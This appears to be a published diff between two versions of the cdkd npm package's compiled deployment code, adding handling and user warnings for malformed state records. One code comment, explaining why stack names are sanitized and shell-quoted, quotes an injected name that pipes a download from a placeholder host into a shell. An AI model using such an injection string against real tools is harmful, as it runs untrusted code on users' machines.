@go-to-k/cdkd 0.290.11 → 0.290.13

package/dist/{program-FAA3rPmS.js → program-BDNXyKp5.js}

@@ -1,8 +1,8 @@
-import { $ as secretBearing, $n as ensureAssetStorage, $r as setAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as retryClassificationText, An as buildForceUnlockCommand, Ar as resolveSkipPrefix, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as orphansAfterRollback, Br as uploadCfnTemplate, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Ci as withErrorHandling, Cn as recordMaskOnlyValue, Cr as Synthesizer, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isTransientServerError, Dn as LockManager, Dr as resolveApp, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isThrottlingError, En as scrubResourceRecord, Er as getLegacyStateBucketName, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as warnDeprecatedNoPrefixCliFlag, Ft as resolveExplicitPhysicalId, G as gray, Gn as WorkGraph, Gr as derivePartitionAndUrlSuffix, Gt as requireConfigObject, H as formatResourceLine, Hn as shouldRetainResource, Hr as expectedOwnerParam, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as CFN_TEMPLATE_BODY_LIMIT, It as assertRegionMatch, J as yellow, Jn as loadPublishableAssetManifest, Jt as producerRegionsFromState, K as green, Kn as buildAssetRedirectMap, Kr as AssemblyReader, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as CFN_TEMPLATE_URL_LIMIT, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mn as forceQuitRecoveryClause, Mr as resolveStateBucketWithDefaultAndSource, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveUseCdkBootstrapAssets, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as markNonRetryable, On as S3StateBackend, Or as resolveAutoAssetStorage, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as stateBucketExistenceConfirmed, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as assertAssetBucketRegion, Qr as resetAwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as importableOutputKeys, Rr as MIGRATE_TMP_PREFIX, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Si as normalizeAwsError, Sn as maskSecretsInText, Sr as getDockerImageBySourceHash, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as isRetryableTransientError, Tn as redactSecretsForState, Tr as getDefaultStateBucketName, Tt as cfnRefValueFromPhysicalId, U as bold, Un as AssetPublisher, Ur as PARTITION_TABLE, Ut as replayWarn, V as toFiniteNumber, Vn as orphansCarriedFrom, Vr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Vt as configStringRefusal, W as cyan, Wn as stringifyValue, Wr as canonicalizeRegion, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as AssetModeResolver, Xr as AwsClients, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as rewriteTemplateAssetReferences, Yr as resolveBucketRegion, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as BOOTSTRAP_MARKER_PREFIX, Zr as getAwsClients, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as StackTerminationProtectionError, _n as errorCauseChain, _r as runDockerForeground, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as DeployCancelledError, an as findSilentDropProperties, ar as validateContainerRepoName, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as stripControlChars, bt as deleteSkipReason, c as replayFailedOperations, ci as LocalInvokeBuildError$1, cn as DagBuilder, cr as buildDockerImage, ct as createMaskedRetryLogger, d as updatePartialReason, di as NestedStackChildDirectDestroyError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerFailure, dt as beginCommandInterruptScope, en as s3BucketWebsiteUrl, er as getBootstrapMarkerKey, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as PartialFailureError, fn as STATE_SOURCED_READBACK_RULES, fr as dockerSpawnEnvWithSensitive, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as StackHasActiveImportsError, gn as dynamicReferenceTokens, gr as redactDockerArgvValues, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ResourceUpdateNotSupportedError, hn as createSecretMasker, hr as partitionSensitiveEnv, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as validateAssetBucketName, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as buildLockContentionMessage, jr as resolveStateBucketWithDefault, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as markRedactedCause, kn as rebuildClientForBucketRegion, kr as resolveCaptureObservedState, kt as isUnboundTemplateParameter, l as replayRollback, li as LocalStartServiceError, ln as TemplateParser, lr as describeDockerCapturedOutput, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as ResourceTimeoutError, mn as carriesSecretMask, mr as getDockerCmd, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as parseBootstrapMarker, nt as getCurrentResourceSecrets, o as planFailedOps, oi as DynamicReferenceRegionAmbiguousError, on as describeTypeWithThrottleRetry, or as buildDenyExternalAccessPolicy, ot as ProviderRegistry, p as maskingRetryLogger, pi as ProvisioningError, pn as TEMPLATE_SOURCED_RULES, pr as formatDockerLoginError, pt as interruptWatchListenerCount, q as red, qn as createAssetRedirectResolver, qr as processStackMessages, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CrossAccountSecretRefusalError, rn as INTRINSIC_KEYS, rr as readBootstrapMarkerBody, rt as IAMRoleProvider, s as planRollback, si as IntrinsicResolutionRefusalError, sn as withRetry, sr as describeAwsFailure, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CdkdError, tn as applyRoleArnIfSet, tr as isCrossRegionRedirect, tt as secretSafeKeyDisplay, u as updatePartialMessage, un as STATE_SOURCED_BASELINE_RULES, ur as describeDockerExecFailure, ut as maskerOrIdentity, v as keptWholeReasonText, vn as identityKeyFor, vr as runDockerStreaming, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as isMarkedNonRetryable, wn as recoverMaskedOutput, wr as synthesisStatusMessage, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as AssetManifestLoader, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yn as isSingleDynamicReferenceToken, yr as escapeRegExp, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputs, zr as findLargeInlineResources, zt as configBooleanRefusal } from "./deploy-engine-C52t7w66.js";
+import { $ as secretBearing, $n as BOOTSTRAP_MARKER_PREFIX, $r as getAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as markNonRetryable, An as buildForceUnlockCommand, Ar as resolveAutoAssetStorage, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as importableOutputs, Br as MIGRATE_TMP_PREFIX, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Cn as recordMaskOnlyValue, Cr as AssetManifestLoader, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isRetryableTransientError, Dn as LockManager, Dr as getDefaultStateBucketName, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isMarkedNonRetryable, En as scrubResourceRecord, Er as synthesisStatusMessage, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as resolveUseCdkBootstrapAssets, Ft as resolveExplicitPhysicalId, G as gray, Gn as AssetPublisher, Gr as PARTITION_TABLE, Gt as requireConfigObject, H as formatResourceLine, Hn as orphansAfterRollback, Hr as uploadCfnTemplate, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as stateBucketExistenceConfirmed, It as assertRegionMatch, J as yellow, Jn as buildAssetRedirectMap, Jr as AssemblyReader, Jt as producerRegionsFromState, K as green, Kn as stringifyValue, Kr as canonicalizeRegion, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as warnDeprecatedNoPrefixCliFlag, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mi as retryClassificationText, Mn as forceQuitRecoveryClause, Mr as resolveSkipPrefix, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveStateBucketWithDefault, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as isThrottlingError, On as S3StateBackend, Or as getLegacyStateBucketName, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as resolveStateBucketWithDefaultAndSource, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as AssetModeResolver, Qr as AwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as hasReadableExportSet, Rr as CFN_TEMPLATE_BODY_LIMIT, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Sn as maskSecretsInText, Sr as stripControlChars, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as withErrorHandling, Tn as redactSecretsForState, Tr as Synthesizer, Tt as cfnRefValueFromPhysicalId, U as bold, Un as orphansCarriedFrom, Ur as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Ut as replayWarn, V as toFiniteNumber, Vn as isReadableBag, Vr as findLargeInlineResources, Vt as configStringRefusal, W as cyan, Wn as shouldRetainResource, Wr as expectedOwnerParam, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as loadPublishableAssetManifest, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as createAssetRedirectResolver, Yr as processStackMessages, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as rewriteTemplateAssetReferences, Zr as resolveBucketRegion, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as ResourceUpdateNotSupportedError, _n as errorCauseChain, _r as partitionSensitiveEnv, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as CrossAccountSecretRefusalError, an as findSilentDropProperties, ar as readBootstrapMarkerBody, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as runDockerStreaming, bt as deleteSkipReason, c as replayFailedOperations, ci as DynamicReferenceRegionAmbiguousError, cn as DagBuilder, cr as buildDenyExternalAccessPolicy, ct as createMaskedRetryLogger, d as updatePartialReason, di as LocalStartServiceError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerCapturedOutput, dt as beginCommandInterruptScope, ei as resetAwsClients, en as s3BucketWebsiteUrl, er as assertAssetBucketRegion, et as secretBearingStateKeyWarning, f as withResourceDeadline, fn as STATE_SOURCED_READBACK_RULES, fr as describeDockerExecFailure, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as ResourceTimeoutError, gn as dynamicReferenceTokens, gr as getDockerCmd, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ProvisioningError, hn as createSecretMasker, hr as formatDockerLoginError, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as parseBootstrapMarker, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, ji as markRedactedCause, jn as buildLockContentionMessage, jr as resolveCaptureObservedState, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as isTransientServerError, kn as rebuildClientForBucketRegion, kr as resolveApp, kt as isUnboundTemplateParameter, l as replayRollback, li as IntrinsicResolutionRefusalError, ln as TemplateParser, lr as describeAwsFailure, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as PartialFailureError, mn as carriesSecretMask, mr as dockerSpawnEnvWithSensitive, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as getBootstrapMarkerKey, nt as getCurrentResourceSecrets, o as planFailedOps, on as describeTypeWithThrottleRetry, or as validateAssetBucketName, ot as ProviderRegistry, p as maskingRetryLogger, pi as NestedStackChildDirectDestroyError, pn as TEMPLATE_SOURCED_RULES, pr as describeDockerFailure, pt as interruptWatchListenerCount, q as red, qn as WorkGraph, qr as derivePartitionAndUrlSuffix, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CdkdError, rn as INTRINSIC_KEYS, rr as isCrossRegionRedirect, rt as IAMRoleProvider, s as planRollback, si as DeployCancelledError, sn as withRetry, sr as validateContainerRepoName, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as setAwsClients, tn as applyRoleArnIfSet, tr as ensureAssetStorage, tt as secretSafeKeyDisplay, u as updatePartialMessage, ui as LocalInvokeBuildError$1, un as STATE_SOURCED_BASELINE_RULES, ur as buildDockerImage, ut as maskerOrIdentity, v as keptWholeReasonText, vi as StackHasActiveImportsError, vn as identityKeyFor, vr as redactDockerArgvValues, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as normalizeAwsError, wn as recoverMaskedOutput, wr as getDockerImageBySourceHash, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as escapeRegExp, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yi as StackTerminationProtectionError, yn as isSingleDynamicReferenceToken, yr as runDockerForeground, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputKeys, zr as CFN_TEMPLATE_URL_LIMIT, zt as configBooleanRefusal } from "./deploy-engine-omGpC16W.js";
 import { C as displaySafe, S as displayIdent, _ as withSkipPrefix, b as STACK_REF_MAX_CODE_POINTS, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE } from "./logger-C17H06QA.js";
 import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
-import { t as getCdkdVersion } from "./version-BSEiTsV7.js";
-import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-B5zWVTp2.js";
+import { t as getCdkdVersion } from "./version--dVnQSTI.js";
+import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-CpUSth0q.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomBytes, randomUUID } from "node:crypto";
 import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -3463,6 +3463,420 @@ function recordRunFailed(recorder, stackName, error) {
 	});
 }
 
+//#endregion
+//#region src/state/malformed-resources-bag.ts
+/** The error code every malformed-record refusal carries, whatever its class. */
+const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
+/**
+* Answer the ONE question both helpers below key on: can this record's
+* resource map be read at all?
+*
+* Widened past `null` / `undefined` because the message says "no readable
+* resources map" and a hand-edited record does not stop at those two: a
+* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
+* empty or, for the string, absurd — repaired silently and warned about
+* nowhere. The predicate is the plain-object test the bag's own type implies.
+*/
+function hasReadableResources(state) {
+	return isReadableBag(state.resources);
+}
+/**
+* The same question for the `outputs` bag — and it is a SEPARATE predicate
+* rather than a second argument to the one above because the ABSENCE rule
+* differs, which is the split {@link isReadableBag}'s own note calls a
+* per-container call.
+*
+* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
+* round-trips one deliberately rather than materializing `{}` over it, and the
+* deploy's failure-path saves write `outputs: currentState.outputs`, which
+* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
+* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
+* hand-edited record carries and every consumer either throws on it or
+* launders it into `{}`.
+*
+* Both {@link repairMalformedOutputsForReadOnly} and
+* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
+* write-capable halves cannot come to different verdicts about the same record.
+*/
+function hasReadableOutputs(state) {
+	return state.outputs === void 0 || isReadableBag(state.outputs);
+}
+/**
+* The shared explanation, in the terms the reader needs: what is wrong, what
+* to look at, and what NOT to do next.
+*
+* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
+* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
+* `.claude/rules/layout-state-types.md` require of any suggestion a user is
+* meant to paste, for two separate reasons.
+*
+* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
+* printable-ASCII allowlist, so it removes the line- and escape-forgery class
+* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
+* trusted here, since a stack name reaches the cross-stack read path from an
+* `Fn::GetStackOutput` argument or an S3 key. A name spelled
+* `a'; curl http://x|sh; echo '` would close the quoting and append its own
+* command to the line this text tells the user to RUN.
+*
+* Wrapping the command in `'...'` is not enough either, and is what makes the
+* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
+* produces something unpastable. Hence unwrapped and last.
+*
+* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
+* nothing — an empty argument makes `--stack-region` swallow the next flag,
+* turning a remedy into a differently-broken command.
+*
+* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
+* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
+* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
+* BOUNDARY, because its names go into a comma-joined list where a name
+* containing the delimiter forges an entry. `displayIdent` has all four —
+* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
+* stays private. The pair here is not duplicated: what differs is the
+* `shellQuote` composition every message in THIS module needs and that one
+* must not have.
+*/
+function safeIdentifier(value) {
+	const safe = displaySafe(value, { asciiOnly: true });
+	if (!safe) return UNRENDERABLE;
+	const { text, truncated } = truncateCodePoints(safe, 128);
+	return truncated ? `${text}...` : text;
+}
+function malformedStateDetail(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a READ-ONLY command: give the record an empty resource bag so the
+* command can report on it, and say so (issue go-to-k/cdkd#3018).
+*
+* `parseStateBody` deliberately does not validate the inner shape, so a
+* hand-edited or truncated record reaches a command with `resources` absent,
+* `null`, or some other non-object. Every such command then died on a raw
+* `TypeError` from the first `Object.keys` / `in` / index read — the exact
+* wording differs per shape (`Cannot convert undefined or null to object`,
+* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
+* them names a stack, a key or a remedy, from exactly the commands a user
+* reaches for WHEN the state is broken.
+*
+* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
+* the twelve `Object.entries(state.resources)` loops, which was inert: every
+* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
+* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
+* happened one line up and the guards only made it look handled. One call per
+* load dominates the whole flow behind it, including the helpers that take the
+* state as a parameter (`orphan-rewriter`, `diff-calculator`,
+* `collectCcApiRoutes`).
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true`. A silent repair is its own defect — an empty resource set is
+* indistinguishable from a healthy empty stack in every later line of output,
+* so `No changes detected` over an unreadable record is a clean verdict about
+* nothing.
+*
+* **Only for a command that cannot WRITE state.** Anything that can persist
+* uses {@link refuseMalformedState} instead; see its note.
+*/
+function repairMalformedResourcesForReadOnly(state) {
+	if (hasReadableResources(state)) return false;
+	state.resources = {};
+	return true;
+}
+/**
+* The refusal TEXT, for a command whose own exit-code contract means this
+* cannot be a plain `CdkdError`.
+*
+* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
+* plaintext") and every one of its refusals carries `exitCode = 2`, because a
+* CI gate reading the code alone must be able to tell "scrub looked and found
+* a leak" from "scrub refused to look" — the two call for opposite responses.
+* So scrub tests {@link hasReadableResources} and raises its own class around
+* this text rather than calling {@link refuseMalformedState}.
+*
+* The other three refusing commands do NOT share that need, and giving them a
+* single shared code would be wrong in the other direction: `cdkd rollback`
+* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
+* would tell an operator to re-run a command that attempted nothing.
+*/
+function malformedStateRefusalMessage(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
+}
+/**
+* The warning a view emits when it emptied one or more {@link
+* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
+*
+* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
+* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
+* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
+* from an empty stack: deploy would re-CREATE everything and destroy would
+* delete nothing. No container named here can produce that specific confusion —
+* the resource SET is still readable — so borrowing that sentence would attach
+* a re-create-the-world warning to a record whose resource list is intact.
+*
+* It is NOT that these containers are display-only. `properties` is read by the
+* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
+* nothing from this module, and a non-object there compares unequal to any
+* desired object and yields a spurious property-change set — filed as
+* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
+* display-only premise, which would have read as licence to drop a guard on
+* that path (review of go-to-k/cdkd#3190).
+*
+* What stays the same is the remedy: `--json` is the mode that shows the
+* stored value.
+*
+* ONE warning per record however many containers it names — a stack whose 500
+* resources all carry a hand-edited `properties` gets one line, not 500. The
+* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
+* stable across records. Not `.sort()` — that order is deliberately not
+* alphabetical, and its own JSDoc says so.
+*
+* Both identifiers are sanitized and then shell-quoted, and the command is
+* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
+* gives.
+*
+* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
+* they cannot drift from it — but NOT `shellQuote`, because they appear in the
+* PROSE and never inside the command this text tells the reader to run; the
+* command carries the two identifiers and nothing else.
+*
+* Sanitizing them is not dead code written for a case that cannot happen. The
+* union above is closed at COMPILE time, so without this the guarantee would
+* live in a comment, and the day a caller derives a name from a record instead
+* of from a literal an unsanitized element could forge a line, render as empty
+* quotes naming nothing, or run to kilobytes and push the remedy command off
+* the reader's screen. `safeIdentifier` closes all three and is the identity on
+* all four literals, so no user-visible text moves.
+*
+* What it does NOT close, stated rather than reassured away: a forged name made
+* only of printable ASCII still renders verbatim inside its quotes and could
+* read as prose. That residual is bounded to the PROSE — the command the reader
+* pastes is built from the two shell-quoted identifiers alone — and closing it
+* would mean JSON-quoting a name in the one place the text is meant to read as
+* English (review of go-to-k/cdkd#3190).
+*/
+function malformedRenderedContainersWarning(stackName, region, containers) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
+function malformedResourcesWarning(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
+}
+/**
+* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
+* READ-ONLY command that DIFFS the stored bag rather than rendering it
+* (go-to-k/cdkd#3189).
+*
+* `computeOutputsDiff` enumerates the stored bag twice, the second walk
+* emitting one `REMOVE` row per stored key today's template no longer declares.
+* It used to admit the bag on a bare `?? {}`, which covers `null` and
+* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
+* a string or a list previewed the REMOVAL of outputs that never existed, one
+* row per character or element, each carrying a character of the record as its
+* `old:` side, with `cdkd diff --fail` exiting 1 on them.
+*
+* AT THE LOAD, for the reason
+* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
+* that is specific to this container: `cdkd diff` dereferences the stored bag
+* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
+* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
+* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
+* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
+* outright on `null` (`Cannot convert undefined or null to object`). So a guard
+* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
+* `TypeError`, one call above it.
+*
+* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
+* {@link isReadableBag}'s verdict, and the split is measured rather than
+* stylistic. Both stored-bag lookups named above gate on
+* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
+* bag never reaches one; every other consumer on the diff path carries its own
+* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
+* function's own walk). An absent bag is therefore inert, exactly the condition
+* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
+* would be a false positive on a record cdkd itself supports: `cdkd scrub`
+* round-trips a record with no `outputs` deliberately, refusing to materialize
+* `{}` over it, and the deploy's failure-path saves write
+* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
+* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
+* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
+* like any other unreadable shape.
+*
+* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
+* purpose: it asked that a `null` bag "diff exactly as it does today and say
+* nothing", and diffing exactly as it does today means THROWING. Recorded on
+* the issue rather than silently traded.
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
+* the reason {@link refuseMalformedState} gives — a bag laundered into a
+* well-formed empty one is permanent, and for `outputs` it would also take the
+* exports index with it on the next write.
+*/
+function repairMalformedOutputsForReadOnly(state) {
+	if (hasReadableOutputs(state)) return false;
+	state.outputs = {};
+	return true;
+}
+/**
+* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
+*
+* Deliberately neither {@link malformedResourcesWarning}'s text nor
+* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
+* continuing empty differs from both. The resources text forbids
+* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
+* indistinguishable from an empty stack; the resource set is intact here. The
+* rendered-containers text says the view "shows no rows there" — true of a
+* renderer, false of a diff, which does not go quiet on an empty stored bag but
+* reports every resolved output as an `ADD`. Saying so is the point: an
+* operator who reads `ADD` rows for outputs the stack already has needs to know
+* the comparison lost its left-hand side.
+*
+* Identifiers are sanitized and then shell-quoted and the command is emitted
